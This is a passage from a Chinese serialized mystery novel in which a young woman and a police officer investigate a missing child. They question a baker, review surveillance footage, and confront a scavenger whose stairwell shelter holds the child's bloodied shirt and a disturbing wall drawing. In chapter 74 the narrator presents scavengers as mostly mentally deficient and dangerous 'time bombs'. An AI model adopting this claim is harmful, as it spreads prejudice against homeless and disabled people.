他的身高并不高，矮矮胖胖的，脸蛋圆圆的，小圆脸上还留着小八字胡，眯眯眼笑起来的样子让他看起来无忧无虑的，靠近他的人似乎也会被他的开心感染。
“你们好，是来买面包的吗？”
“对，我们来看看面包。”林凌挠了挠头，看了一眼沈聆，“我……我女朋友肚子饿了，正好路过这里，就想着买点面包吃。”
——女朋友？
听到这句话，沈聆脸颊一红，虽然她也知道林凌是临时扯了个谎，但还是不由得红着脸别开了视线。
“哦哦，原来是这样，那你女朋友很可爱啊！我感觉她应该会喜欢可爱一点的面包，可以看看我们这里，我新推出了很多卡通形象的面包，都是用卡通模具烘焙的，有玉桂狗的、库洛米的、米老鼠的都有，孩子们都很喜欢呢！”
在店主夸夸其谈的时候，沈聆环顾了一圈面包店，这家店面积并不大，但收拾得极其干净整洁，入口是在店铺的左侧，在店铺的前后都有长长的玻璃柜，里面放满了各式各样的面包，根据种类和颜色的深浅甚至进行了排序，可以看得出店主多少是有点儿细节控的人。
此外，在房间的中间，还有一张小桌子，上面放着咖啡杯，显然是给人在店里享用面包用的，白色的桌子上放着红色格子的桌垫，可爱的小飞象茶壶和茶杯让人感觉仿佛走进了一个童话世界。
——他是一个很会生活的人。
沈聆暗暗想着。
——至少，在这么破旧的小区里，还能把店铺打理得井井有条。
沈聆走到一个柜台前，好奇地看着里面的牛角面包，柜台的玻璃擦得锃亮，甚至没有一丝指纹和灰尘；面包的标签都整齐地贴在同一位置，字体大小一致；甚至连摆放面包的盘子、牛角面包的角度都排列得毫无瑕疵。
“这个牛角面包是我们店的招牌之一，用的都是最好的面粉，口感非常好，而且很健康！”
老板见沈聆似乎对牛角面包有兴趣，忙凑过来介绍。
“我们用的面粉都是进口小麦面粉，另外，我们都是进口淡奶油，所有的牛奶都是高温杀毒后的牛奶，绝对可以保证食材的健康卫生，里面的馅料都加了奶油，而且都是当天烘焙的面包，很好吃的！”
沈聆点了点头，细心的林凌已经拿着端盘走了过来，拉开了透明的柜子，用夹子从柜台里夹出了一个牛角面包。
他状似不经意地问道：“老板，你这个牛角面包放在最显眼的位置，是不是平常也是销量最好的一款面包啊？”
胖老板搓了搓手：“我家每一款面包都很受欢迎的，而且销量都还不错，不过，这款面包的确是孩子们最爱吃的，我也喜欢放在入口的地方。”
孩子？
沈聆一挑眉：“是这个小区的孩子吗？但是我们刚才从前面走过去，好像没看到几个孩子在小区里，总觉得这里挺荒凉的。”
“那哪能啊，孩子们都在写作业呢。”胖老板打趣，“而且不只是新隆公寓的孩子，周边几个小区的孩子都喜欢来我这里买面包吃，这几个小区的后门都是互通的，他们经常几个小区轮着玩，玩累了就到我这里买点面包吃，嘿嘿。”
“轮着玩？”林凌往外看了一眼，“但是，我们好像看到后面有一条河啊，孩子们在河边玩感觉挺危险的啊老板。”
“不会不会，虽然有一条河，但是那条河水流不急的，没关系，而且现在的孩子都学过游泳了，哪里这么容易就淹死了，没问题的。”
胖老板的话听得沈聆心里一阵不舒服。
她总感觉胖老板的用词用语不太合适，但是又不知道怎么说，听着给人一种亲切的疏离感。
林凌担心对方怀疑自己在打探消息，忙拿着盘子，到另外几个柜台前看看，看似在选面包，实际在观察沈聆的脸色，看看她有没有其他需要调查的信息。
“老板，我们刚才进来的时候，好像看到很多穿着黑衣服、戴着白花的人进楼里面去了……这里是在办丧事吗？”沈聆故作无知地问，她拿起一个纸杯蛋糕欣赏了起来，这个纸杯蛋糕做的很精致，一圈一圈的奶油装饰在上面，做成了小山的样子，最上面还撒了许多糖豆，看着就很可口。
做这个蛋糕的人，好像是一个心灵手巧的人呢。
不只是这个蛋糕，店里所有的食物都精致可口，如果放在市中心的位置，日常销售额会更高。
“丧事？我不清楚有什么丧事诶？我一直都在店里忙，你也看到了，我们店里只有我一个人，每天烤蛋糕、挤奶油、看店，就已经很忙了，我哪有时间管那栋楼里的事情啊。”胖老板摇了摇头，在围裙上搓了搓手，擦掉手上的奶油。
不过，他短短几句话，倒是将关系都撇清了。
他不知道这栋楼里有个孩子失踪死掉了，而且
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也不认为小区后的那条河有危险，似乎也不知道一个孩子溺亡在河里的事情。
但奇怪的是……
那条河就在小区后面，而且当时为了寻找李子晨，出动了警方、消防队、救援队……这么大的动静，难道面包店里的老板都不知道吗？
沈聆陷入了沉思。
“老板，你来这里多久了呀？”林凌开始扯闲话，在闲话家常中套消息，“看你做面包的技术，感觉很专业啊哈哈哈哈——”
“我？过奖啦过奖啦，我来这里不过才三四年吧，手艺也就一般般。我不是本地人，但是我觉得这个片区没有面包店，同行竞争会比较小一点，所以才选择在这里开店。”
“我倒是觉得老板你可以去市中心开一家分店，你家的蛋糕卖相不错，开个连锁店，或者换一个热闹的地方，感觉会赚大钱！”
“我就算啦，我可以没有发财的命，哈哈，开分店要操心的事情太多了，我还是更适合一个人看着这么一个小店。”
“怎么？老板打算结婚安定下来了吗？”
“结婚倒是没有，我太宅了，可没有女孩子看得上我，结婚嘛，感觉遥遥无期。”
“那你一个人待着，不会感觉孤单吗？”
“不会的，其实我还有好几个朋友，虽然没有女朋友，但是有朋友们和我一起玩，也挺好~”
林凌和面包店老板就这么东拉西扯地说着，沈聆听着他们的对话，默默地将放着牛角面包和纸杯蛋糕的端盘递给了林凌。
林凌接过端盘，低声询问：“还想要其他的吗？没关系，都可以买，我还是买得起的哈哈哈哈——”
沈聆乖巧地摇了摇头：“不用啦，我不太爱吃甜食。”
林凌将端盘递给了老板：“那，我们就要这两个，老板可以扫码结账吗？”
“可以的可以的。”
老板乐呵呵地来到柜台前，拿出两个纸盒子，将面包装了进去，并将二维码给了林凌。沈聆扫了一眼收银台，看见收银台上放着普通的陶瓷招财猫，另外还有一个钥匙架，做成了树枝形状的钥匙架上面挂着好几把钥匙。
“哎呀，现在的科技真是发达呢，以前出门都要带着现金，还担心被抢钱包，你看看现在，只要一个手机，去哪里都方便，扫码一下就转账成功了，真是了不起的发明啊……”
就在胖老板眉飞色舞、谈天说地之时，沈聆那灵动的目光不经意间轻轻擦过胖老板那圆滚滚好似皮球一般的身躯，最终稳稳地落在了他身后那扇半掩着的杂物间的门上。
这杂物间的门只开了一半，门上贴着“闲人勿进”的牌子，多少带点“犹抱琵琶半遮面”的意思。
但在沈聆还想认真看看杂物间的情况时，面包店的胖老板却察觉到了她的用意，往旁边挪了挪身子，用自己肥胖的身子挡住了杂物间的门，并微笑着对沈聆说道：“小姐姐还有其他需要的面包吗？我们这里的贝果也很好吃哦。”
他的言语虽然温柔，嘴角虽然是上扬的，但此刻眼眸中却没有一丝笑意，反而感觉疏远和冷漠，给人一种皮笑肉不笑的意思。
73. 监控录像
在沈聆和林凌正准备离开面包店的时候，沈聆忽然看到面包店的门口有一个监控摄像头，恰好监控摄像头的角度对准的是新隆公寓的楼梯口。
新隆公寓一共有两个楼梯口，南北各一个，如果李子晨要下楼玩耍，他们家是靠近南楼梯口的，那么他应该会出现在后门旁边的监控摄像头的画面里才对。
沈聆这么想着，给林凌使了个眼色，随后又看了看头顶的监控摄像头，林凌会意，但此刻他的身份只是偶然路过这里的路人，不方便亮明警察的身份查看面包店的监控摄像头，两人只能先行离开。
“我跟局里的同事说一声，让他们来调取监控看看。”
“李子晨失踪的事情有立案吗？”
“失踪超过48小时的话，一般都会报案，而且老李本身就是警察，刚才现场也有几个我们局的同事，正好，我不方便做的事情，他们可以。”
两人说着，就先回到了老李家。
在简单说明了他们的调查情况后，老李表示，在孩子失踪后，他们第一时间就找到了面包店的老板，因为面包店的监控摄像头是后门唯一的监控，因此，在孩子失踪后，他们也赶紧找到了面包店的老板，老板理解他们找孩子的心情，也很配合他们，将录像提供了出来。
现在老李的手机上还有监控录像的备份，在孩子失踪之后，他们也曾经反复查看监控录像里的内容，但并没有找到什么有价值的线索。
林凌从老李手中接过了手机，沈聆与宋明夷一同凑了上来，三个人一起看向了手机屏幕。
手机屏幕中是相册里的一个视频，这些视频就是面包店老板提供的监控录像，并且按照时间顺序，一共有三个，都按照日期和时间段进行命名。
2024-04-21
2024-04-22
2024-04-23
一共是三天。
“子晨是4月22日失踪的，我们4月22日晚上在小区里找了一圈，没有找到孩子，当时我们也注意到了面包店的监控摄像头，可是在我们找孩子的那个时候，面包店已经关门了，我们只能等第二天的时候再跟店家拿监控录像，但是在这前后三天的录像里面，并没有找到和子晨有关的信息。”
子晨爸爸叹了口气，自从孩子失踪之后，“找到孩子”已经成为了他的执念，他的眼眶通红，满眼血丝，看起来已经熬了许多天了，支撑着他不要倒下去的是对这一家的责任感以及最后一点为孩子伸冤的执着，他的声音里充满了疲惫，嗓子里也像黏着化不开的痰，整个人给人的感觉像是丢了魂魄，只剩下行尸走肉的躯壳。
林凌从4月21日的画面开始播放。
画面是从早上九点开始的，那是面包店开始营业的时间。
林凌调整了视频播放的速度，用2倍速观看监控录像，监控画面并不是广角的，画面中恰好拍摄到楼梯口的扶手以及新隆公寓的后侧门，此外，就是面包店前面的一小片空地。
监控拍摄到的范围有限，从监控画面里并没有看到子晨的身影，不只是他，这一天似乎面包店都没有什么生意，林凌用2倍速几分钟之内播放完了第一段视频，里面甚至连其他人的影子都没有看到过，只有那个捡破烂的流浪汉曾经在视频的右上角出现，并一闪而过，他依旧背着两个大大的包，里面像是塞着刚刚捡到的衣服一样，花花绿绿的衣服从背包里露出一角。
在白天之后，便是入夜。
夜里的小区静悄悄的，面包店的店门口并没有开灯，黑漆漆的监控画面只能依稀看到远处小区的路灯，路灯照亮了一小片模糊的区域，入夜后的新隆公寓的人间烟火气就更少了几分，连路人都寥寥无几，安静得如同一座墓地。
这一日看下来，并没有什么收获。
接着，是4月22日的监控。
4月22日的监控画面和前一日一样，并没有什么有价值的线索，偶尔可以看到几个路人从镜头前走过，他们看起来都只是匆匆而过的路人，甚至没有看一眼面包店。
老李补充道：“我们也都找到了监控里出现的那几个人，因为子晨是22日出门玩之后失踪的，所以应该是在当天出事。我们通过警方联系到了监控里的那几个路人，但他们都只是偶然路过这里或者是来新隆公寓的朋友家作客，他们并没有看到我家孙子，也没有看到什么奇怪的人出现在小区里。”
警方都对监控画面里的人进行了排查，但似乎并没有收获。
那些人和老李家素不相识，也没有特殊社会背景，并且都有证人证明他们的行为动机，应该和子晨的失踪没有关系。
4月22日晚上亦然，也是冷冷清清的，只能看到远处路灯的残影和偶尔飞到监控摄像头前的小飞蛾。
4月23日的监控画面里，出现了老李一家，看他们匆匆忙忙的样子，应该是在孩子丢了之后来找孩子的，他们进了店里，在半小时后离开了，随后监控画面闪烁了一下，结束了。
子晨爸爸解释道：“那是店家切断了监控画面，并且拷贝了一份给我们，可是我们并没有在监控画面里发现其他有用的线索。”
“会不会……子晨从另一边的楼梯下楼的？所以后门的监控画面才没有拍摄到他？”宋明夷挠了挠头。
“我们也是这样想的。”子晨妈妈啜泣着，“可惜的是，前面这个楼梯并没有监控摄像头，菜鸟驿站和便利店的摄像头都只看他们自家前面的一小片范围，我们也和警方一起去看过，他们两家的监控画面里也都没有子晨。”
“那……子晨有没有带什么儿童手表？”宋明夷说着，在手腕上比了个环形手表的手势，“我记得现在的孩子都会带那个，而且上面有定位系统，可以给家长的手机实时发送位置信息的。”
听到这个，子晨妈妈哭得更伤心了。
老李老伴叹气：“子晨那天刚好没有带手
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表出门，他的手表没电了，放在家里充电，那天，他跟我说他的作业写完了，他想下楼玩一会儿，我寻思着反正饭也还没有做好，就交代了他几句不要到处跑、不要到马路上玩，他就出去了，我真是悔得肠子都青了，早知道那天我就不让他出门了，我就是把他给捆住，也一定不让他踏出家门半步啊……”
老妇人说着，就开始自己扇自己耳光，周围的人忙拉住了她，低声安慰了起来。
“子晨奶奶，出了这种事情，谁都不想的。”
“是啊，你怎么知道那天子晨会发生意外呢……”
“这不是你的问题，别伤心了。”
……
现场一时间大家乱糟糟地开始讨论了起来，都在怀疑这个怀疑那个，有的人认为子晨或许是被人贩子带走了，所以才没有出现在任何监控画面里，这是一场有意识、有图谋的掠夺；有的人认为孩子就是自己跑到河边落水溺死的，沈聆那些装神弄鬼的把戏不能相信；有的人认为应该从刚才看到的孩子的魂魄的样子下手，说不定可以找到孩子的尸体，这样一切都会水落石出……
在众人七嘴八舌讨论着的时候，沈聆和林凌一遍一遍地看着老李手机中的监控画面。
“沈聆，你有什么想法吗？”
“嗯……我感觉，那个流浪汉好像有点不对劲。”
“我也有一种感觉，他可能知道点什么。”林凌眉头紧锁。
沈聆从他手中拿过手机，调了一下监控画面的进度，最后，定格在4月21日下午15：00的画面，在画面的右上角，那拾荒的流浪汉恰好经过，沈聆放大了流浪汉的身影，发现他背上的黑色背包里，鼓鼓囊囊囊的，像是装着什么东西，并且露出在背包外面的东西，有红色也有蓝色，看起来不是寻常的破衣料。
“那个……”
沈聆举起手，她的声音打断了周围人的嘈杂。
“你们还记得子晨出事的那天，身上穿着什么颜色衣服吗？”
子晨妈妈和子晨奶奶面面相觑，最后，子晨奶奶回忆了半天，回答道：“好像是蓝色的，上面有一个奥特曼，我记得那个奥特曼，是子晨最喜欢的。”
——蓝色的衣服……吗？
沈聆沉默着，转头看了一眼林凌。
“沈聆，你的意思是……这流浪汉的背包里装着的东西或许是一个孩子？！”
“我只是提出这么一个可能。”沈聆脸色阴沉地说，“我们刚才看到他的时候，他背着的并不是包而是两个大麻袋，但4月21日的监控画面里他是背着包的，流浪汉一般不会随便更换拾荒的收纳工具，因为他们没有多余的替代品……这个背包明显比麻袋的质量更好，而且更牢固，他为什么现在换成了麻袋呢？是不是……背包沾到了一些不能示人的东西，所以没办法继续用了？”
宋明夷一拍脑袋，一个可怕的念头浮上心头：“难道说是因为……背包染到了血？！”
74. 楼梯间
拾荒者，在各个城市都有的一类人。
他们如同蝼蚁一样生活在这个城市的最底层，他们大多数身着褴褛，并且无处可去，每天流浪，并以回收废品作为自己唯一的收入。
他们或许早已经和家人断绝了联系，或许已经对这个社会失去了希望，他们日复一日做着同样的事情——捡废品、卖废品、捡废品、卖废品……多数人就这么草草过完一生。
他们没有金钱、背景、家世、学历，甚至最苦的工种都不一定能接纳他们，大多数拾荒者都是心智不全的人，他们早已经和自己的家人失去了联系，只能像浮萍一样漂浮在茫茫大海中，不知去向。
新隆公寓的拾荒者就是这么一类人。
他不知道是什么时候出现在小区里的，但当他出现的时候，几乎所有人都已经习惯了他的存在。没有人会在意他住在哪里、做什么，这个社会，只要其他人不干涉到自己的利益，他们不会耗费哪怕一分钟在别人身上。
这个拾荒者每天在附近的几个小区晃悠，根据宋明夷等几个住户的反馈，他们经常看见拾荒者在小区里走来走去，没有人听过他说话，他也像是害怕其他人异样的目光一般，总是在其他人走了之后才会小心翼翼地捡起地上没人要的塑料瓶，偶尔有几户人家同情拾荒人员的遭遇，会将自家的塑料瓶、废纸箱放在楼下，拾荒者也会乖乖收走它们，这应该就是他唯一的收入来源.
所有人都没有想到，威胁性最低的人，或许往往就是这类人。
因为他们的违法成本太低了，换句话说，光脚不怕穿鞋的，哪怕是被捕入狱，对他们来说都像是等同于有了一个暂时安置的地方，总比到处流浪要强一点。
因此，这类人的社会不稳定性也更大一点，如果加上精神方面的疾病，那这类人简直就是定时炸弹，你完全不知道从身边擦肩而过的拾荒者会不会突然用破了的玻璃瓶扎你一下，还笑着拍手称快。
“沈聆，你觉得那个流浪汉有问题吗？”
“嗯，不过目前我也没有确切的证据，或许他的背包在那天之后刚好坏掉了，所以今天我看到他的时候，他换成了麻袋……”沈聆停顿了几秒钟后继续说道，“但现在李子晨下落不明，我认为哪怕是任何一点可能性，我们也不能错过，而且，在视频里，他的背包露出的东西红一块、蓝一块的……”
“红……红色的毛衣？！”宋明夷想起了刚才召唤出小孩子的魂魄时，在他身上看到的东西，“我想起来了，刚才看到的李子晨的魂魄，是穿着红色毛衣的，而且我记得上面还有小碎花呢！”
子晨妈妈蹙眉：“小碎花？”
子晨爸爸看着子晨妈妈解释道：“对，刚才你晕过去了没看到，孩子身上其实穿着一件红色的毛衣，我印象中，我们好像没有给他买过红色毛衣吧，而且上面还有很多白色的小花，看起来不像是男孩子穿的衣服。”
红色的毛衣？
红色的带小碎花的毛衣？
子晨妈妈认认真真地回想了一遍，十分肯定地摇了摇头：“没有！我们家子晨从来没有穿过红色的毛衣，他讨厌红色！”
“那件衣服估计是在孩子死后有人给孩子穿上的。”林凌说道，“而且是女孩子的毛衣，估计有什么特别的含义……那个流浪汉住在新隆公寓附近吗？”
“他好像住在一楼的楼梯间里。”宋明夷回答，“我从楼梯下楼的时候见到过几次，在一楼转角楼梯间的地方，有一个三角形的空间，他老是喜欢把见到的废品临时放在那边，最近好像直接睡在那边，用几片铁片把楼梯间围起来了，我现在都不敢自己走楼梯下楼，感觉他一直睡在那边。”
……
时间近乎傍晚的时候流浪汉才回来新隆公寓。
他这一天到处走、到处逛，沿着马路走，每看到一个瓶子就捡起来，每看到一个废纸也收起来，一天的功夫，两个大麻袋已经全都装满了。
只见他那原本挺直的脊梁如今已弯得如同一张拉满弦的弓，整个身子都呈现出一种怪异的弓形，他的背高高地隆起，仿佛背负着一座无形的大山，每走一步似乎都要付出极大的努力，就这样，他艰难地拖拽着两只破旧不堪的大麻袋，缓缓地朝着一楼的楼梯间挪动着脚步。
那个楼梯间恰好位于电梯口的右侧，它与旁边的墙壁紧紧相依，从而形成了一片极为狭窄逼仄的空间——尽管这里本应归属于公共管理区域，但因为新隆公寓长期缺乏物业管理，所以随着时间的推移，这片小小的角落竟逐渐成为了眼前这位流浪汉的专属领地。
当流浪汉迈着犹如灌铅般沉重的步伐渐渐靠近楼梯间时，一楼的声控灯敏锐地察觉到了他的到来，并亮了起来。在昏暗灯光的映照下，流浪汉那张饱经沧桑的面庞清晰了许多：满脸的污渍衬着一头杂乱打结的头发，他身上的大衣早已破烂不堪，仿佛在诉说着主人所经历过的种种苦难和辛酸。
他挠了挠身子，浑身上下像是爬满了跳蚤，脖颈和耳后都是泥垢，他已经很长时间没有洗澡了，以至于从他身上散发出一股刺鼻的酸臭气味，这股味道弥漫在空气中，让人不禁掩鼻而过。
此刻的他，活脱脱就是一个被这座繁华都市无情抛弃的可怜人。
就在这时，他发现有三个影子在几步之外的地面晃动。
顺着那影子流浪汉抬起头，正看见沈聆、宋明夷和林凌站在自己面前。
“你回来啦，欢迎回家！我们已经等你很久了哟！”宋明夷轻轻一笑，手里拿着手机，手机摄像头的红灯亮着，看得出来她正在拍摄。
看到宋明夷手中的手机，流浪汉慌忙后退了几步，背上背着的麻袋也应声掉落在脚边，几个被踩扁的易拉罐掉了出来，他踩到了易拉罐、重心不稳地趔趄了几步，双手遮挡在脑袋前，似乎在担心手机拍摄到自己的脸。
“害怕什么呀，
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手机又不会吃人!”宋明夷往前走了一步。
看到宋明夷的接近，流浪汉更加抵制，他胡乱地从口中发出支支吾吾的声音：“不要……拍……不要……打……”
流浪汉转身就想逃走，但林凌眼疾手快，先一步抓住了流浪汉沉重的外套，并把他拉扯了过来。
“你要去哪里？你给我解释一下，这些东西是怎么回事！”
林凌说着，抓住了流浪汉的身子，直接将他拉扯到楼梯间里。
楼梯与墙壁、地板形成的狭窄的三角形区域里面，有一张小木板搭成的床铺，床板下放着许多捡来的废品，而床板上铺着一些旧衣服。
其中一件衣服，便是蓝色的童装，上面还有一只赛罗奥特曼图像！
“这件衣服你是从哪里来的？！”林凌厉声询问，眼眸中带着不容反抗的压力，“这件衣服是不是李子晨的衣服？你从哪里拿到李子晨的衣服的？他的失踪和死亡跟你有没有关系？！”
原来，在发现流浪汉的可疑后，沈聆三人便来到了一楼的楼梯间，当时流浪汉并不在场，他们索性进入了楼梯间这个狭小的区域，没想到翻了一翻，便在那堆破衣服里找到了一件蓝色的有奥特曼的衣服，他们叫来了李家人，经过辨认，的确就是李子晨的衣服。
情绪激动的李家人当场就要把流浪汉抓过来，但最后被林凌劝走了。
他认为现在不能打草惊蛇，而且流浪汉本身就是拾荒者，在他这里找到一件失踪的孩子的衣服并不能代表他就是绑架、杀害孩子的人，说不定他只是这个事件的另一个证人，这件衣服是他在某个地方捡到的，盲目打草惊蛇只会让真凶藏匿的更深。
因此，在取得了李家人暂时的理解和配合后，众人决定先由这三个年轻人了解一下事情的来龙去脉。
于是，沈聆一行人便在这里等到了傍晚，一直到日落西山，流浪汉才蹒跚而归。
宋明夷在远远看到了流浪汉的身影后，就打开了手机摄像头，美其名曰“帮助警方记录调查过程”，实际上她有自己的私心，想拿到这个案子的一手资料，到时候放在网上，将又引起一波关注。
然而，令人费解的是，当那名流浪汉瞥见手机的瞬间，他的情绪竟变得异常激动起来。这种激动并非寻常意义上的兴奋或喜悦，反而更倾向于一种深深的恐惧。只见他瞪大双眼，眼神中充满了惊慌失措和无助，身体不由自主地颤抖着。
“不要……拍……不要……打……”
他对手机摄像头展现出了极度的抗拒，仿佛那小小的镜头是一头凶猛的野兽，随时会将他吞噬一般。他拼命地伸出双手捂住自己的脑袋，动作慌乱而又决绝，就像一只受惊的鸵鸟，企图把自己深埋进沙子里以躲避外界的威胁。
“宋明夷，先别拍了。”沈聆见状，拉了拉宋明夷的衣服，“他好像很怕你的手机，别拍了，不然我们问不出什么有价值的东西。”
75. 涂鸦
在宋明夷放下了手中的手机后，流浪汉的情绪好像稳定了一点，他仍旧是怯生生地看着宋明夷，也不知道是不是因为手机的原因，他看着宋明夷的眼神明显比看着抓着自己的林凌要更恐惧一点，他微微低着头，用眼角余光不断瞥着宋明夷的方向，微微睁大了眼睛，可以看到那双眼睛像是无法聚焦一样略带几分浑浊。
“不要……不要……拍……”
他张开嘴巴，但只能断断续续说着几个字，发音有点儿大舌头一样，说不出清晰的字眼，只能支支吾吾地说出几个字。
——这是个智力缺陷的人吗？
沈聆皱起眉头疑惑地看着流浪汉，她和林凌交换了一个眼神，林凌心里所想的，似乎也是同一件事情。
林凌稍稍松开了手，咳嗽了几声，调整了一下自己说话的语气后，低声问道：“放心，我们不拍的，刚才那个姐姐就是拿着手机在玩而已，她不会拍你。”
“但是……害怕……”
“别担心，我们不会伤害你，而且我是警察，我们警察会保护人民群众的。”林凌说着，从口袋里拿出了自己的证件。
流浪汉疑惑地看了看林凌，复又踮起脚尖，看了看林凌身后的沈聆和宋明夷，似乎在暗自揣摩他们说的话是否可信，接着，他拿过了林凌手中的证件，认真翻了翻，却又疑惑地挠了挠头，似乎看不懂上面的方块字，可是又心虚地不想让他们看出他的心思，只能半信半疑地将证件又递给林凌。
“是吧，我是警察，你放心，如果你没有做坏事，我是不会伤害你的。”
“坏事……是什么……”流浪汉看着林凌，虽然眼眸中仍是有些害怕，但惊恐的神情似乎已经褪去了几分。
“坏事……就是杀人放火、抢劫□□……任何伤害到别人的事情，都是坏事，只要你做了坏事，我就会抓你。相反，如果你什么坏事都没有做，就不用担心，懂了吗。”
此刻，林凌眼眸中的严厉倒是褪去了几分，他耐心地看着流浪汉，说话的声音都温柔了许多，像是对着一个幼儿园的小朋友轻声安慰。
流浪汉虽然听不太懂林凌说的话是什么意思，但是听出了林凌语气的转变。
他暂时相信了林凌似乎不会这么伤害自己
沈聆和宋明夷站在林凌身后，她们对视了一眼。
“喂，这人怎么翻脸比翻书还快啊？我记得刚刚他明明挺凶的啊……”
“可能这就是审讯技巧吧，面对不同的犯人，总要用不同的方式套话的。”沈聆低声在宋明夷耳畔说道，“我感觉这个流浪汉应该不是多坏的人，他看着好像有点儿智力低下的意思，可能只是偶然见到了这件衣服，如果是这样，林凌应该是想问出他是在哪里看到这件衣服的，以及有没有见到过李子晨……或许，他会是李子晨案子里重要的目击证人。”
“可是我总感觉他就是凶手，不然他为什么会有李子晨的衣服，李子晨出门当天可就穿着单上衣和单裤子而已。”
“这也未可知。”
在沈聆和宋明夷低声讨论的时候，林凌已经想到了该怎么和流浪汉沟通。
他转身拿起了床上的衣服，递给流浪汉：“这件衣服你是在哪里拿到的？你之前有没有见到穿着这件衣服的人？”
那个衣衫褴褛的流浪汉目光充满疑惑地盯着眼前这件蓝色的衣服，久久没有移开视线。
这件衣服是蓝色的长袖，上面还有奥特曼的图案，根据家人的描述，李子晨生前是很喜欢这件衣服的，可如今这件衣服却已变得脏兮兮的样子，不知道经历了什么事情，更引人注目的是，衣服上还凝结了一些暗红色的可疑痕迹，这些痕迹就像一个个神秘而恐怖的符号，让人不禁心生寒意。
当流浪汉的眼睛捕捉到那些暗红色的痕迹时，他那本就布满皱纹的眉头瞬间紧紧皱起，形成了一道道深深的沟壑。他那双沾满污泥、粗糙不堪的手缓缓抬起，慢慢地伸向自己的脑袋，动作显得有些迟缓而沉重，那双手似乎想要从脑袋里抓出某些被深埋的痛苦记忆，每一次用力都带着一种绝望和挣扎。
“血……打……”
流浪汉不自觉地往后退了几步，他的嘴巴微微张开，开始喃喃自语起来，声音低沉而含糊不清，哪怕是仔细倾听，也只能隐约分辨出几个模糊的字眼，却无法拼凑出完整的意思，让人越发好奇他究竟在念叨些什么。
周围的空气也因为他这诡异的举动而变得凝重起来，仿佛有一股无形的压力笼罩着这片小小的空间。
“疼……疼……”
“疼？为什么会疼？是有人打你吗？还是你看到有人在打一个小男孩？”林凌往前走了一步，逼问道。
“子晨……哭……”
“哭？你看到子晨哭了？子晨为什么会哭？”林凌拿起子晨的衣服，“这件衣服上有血，是不是子晨的血？你看到了什么？”
“不知道……不能说……”
流浪汉往后退了几步就要跑，但他被林凌一把抓住了衣领，整个提了起来，丢在床板上。
“告诉我，你到底看到了什么？李子晨是4月22日失踪的，在那一天，你曾经见过他对不对？有人打了李子晨？甚至脱掉了他的鞋子和衣服对不对？那个人是谁？还是说……那个人其实就是你？”
“不知道……不知道……”
“你为什么要打李子晨？他让你生气了吗？他是不是嘲笑你捡垃圾？还是拿石头砸你了？”
在林凌的逼问下，流浪汉的心理防线一步步崩溃，他蜷缩在床板的上，整个人都在发抖，如同一个蜗牛想要躲进自己的壳里，他瑟瑟发抖，双手抱着脑袋，说不出什么了的他，只知道哇哇大哭，如同一个孩子一样。
“看他的样子，好像暂时问不出什么东西了。”沈聆皱着眉头看着林凌，“他好像真的是个傻子，就算看到了什么，估计也说不出来。”
“但是他肯定和这个案件逃不开关系，我觉得还是得带他到警局调查一下。”林凌说道，“目前老李一家虽然给孩子办了丧事，但并没有撤销失踪案的上报，我们还可以把他作为关联人员
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带回局里调查，我想，换几个人轮流问问，说不定可以从他嘴里问到一些有价值的线索。”
这个语无伦次的流浪汉，似乎是李子晨失踪案的最后一根“救命稻草”，好不容易发现了他，也只能紧紧“抓住”他。
“诶！林大哥，你看他身后的墙壁上是不是画着什么东西呀？”
忽然，宋明夷的声音吸引了沈聆和林凌的注意。
他们看向了宋明夷，只见宋明夷打开了手机的照明功能，照向了流浪汉。
楼梯间本就昏暗着，刚才他们进入楼梯间后，找到了李子晨的衣服，所有的注意力都在那件衣服上，并没有注意到墙壁，而现在，流浪汉靠着墙壁哆嗦，宋明夷这才注意到在楼梯间的墙壁上好像有人曾经用黑色的笔在墙壁上涂涂抹抹着什么图案。
“好像有什么东西……你们看，墙上是不是画着什么？”宋明夷皱着眉头靠近。
可流浪汉的身体挡住了墙壁，宋明夷看不清楚墙上画着的到底是什么。
“给我起开！”急脾气的她一把拉起靠着墙壁的流浪汉。
可怜的流浪汉猝不及防被这么一拉，人往前一摔，直接从床板上摔到了地上。
“别打我……别打我……”
“我才没打你呢！别污蔑我。”宋明夷嘟囔着，她看向了墙壁，手中，手机瞬间照亮了那面灰暗的墙壁。
——随着光线的移动，他们发现整个墙壁竟然布满了密密麻麻的霉菌，这些霉菌呈现出各种斑驳的颜色和形状，而更让人惊讶的是，在这片斑斑驳驳的霉菌之上，赫然有着一些用黑色水笔留下的涂鸦痕迹。虽然时间已经过去很久，那些笔迹早已干涸，但仔细观察仍能依稀辨认出所画的内容——竟是两个形态各异的小人！
其中一个小人趴在地上，身体紧贴着地面，似乎在艰难地前行或者挣扎；而另一个小人则笔直地站立着，位于趴着的小人身后，令人震惊的是，那个站立的小人撅起的屁股恰好正对着前方趴着的小人身前，形成了一种极其怪异且引人遐想的姿势。
当看到这样一幅离奇古怪的图案时，在场的三个人同时倒吸了一口凉气。
他们的眼神中充满了惊愕与恐惧，仿佛从这幅简单的涂鸦中联想到了某些不为人知、却又无比恐怖的事情。
此刻，三人难以置信地面面相觑，彼此的目光交汇在一起，然而，一时间谁也没有开口说话，四周陷入了一片死一般的寂静之中，在这狭窄的楼梯间里，只剩下流浪汉哭泣的声音。
这种可怕的沉默如同一股无形的压力，紧紧地笼罩着每一个人，让他们感到阵阵寒意从脊梁骨上升起，不由自主地打起寒颤来。
“我说……这家伙，他到底是施害者，还是受害者？”宋明夷用手机的光照了照流浪汉。
他像一个常日潜伏在黑暗中的蝼蚁一样，在接触到刺眼光线的时候，便往后退缩了一点，似乎担心被人看到他的全貌，别人嘲笑他的全貌。
“不知道。”沈聆皱着眉头喃喃自语，“又或者，都是。”
76. 神明
在警方把流浪汉带走的时候，已经是接近晚上八点多了。
沈聆和李家人沟通完后，大家一致隐瞒了关于阴厨的事情，就说偶然在楼梯间发现了孩子带血的衣物，随后，流浪汉因为生活轨迹和失踪的李子晨有重大交集、以及在流浪汉居住的地方发现了李子晨带血的衣物，他作为嫌疑人，被带上了警车。
在上警车之前，流浪汉万分惊恐地看着周围围观的人，他从来没有被这么多人关注过，他一直都是生活在社会底层的人，所有人对他总是熟视无睹，大家都会习惯性忽略他的存在，这还是第一次有这么多人看着他。
过度的关注让流浪汉十分不安，他的精神状态更不好了，推推搡搡着就开始胡言乱语，一下子说有鬼在监视他，一下子又说天上有神仙让他不要乱说话。
最后两个警员架着他上了警车，在上警车之前，他还推开了两个警员，挤开面前拥挤的人群，冲到沈聆面前，红着眼睛请求她帮自己说情。
“麻烦……麻烦帮忙跟神仙说一下……”
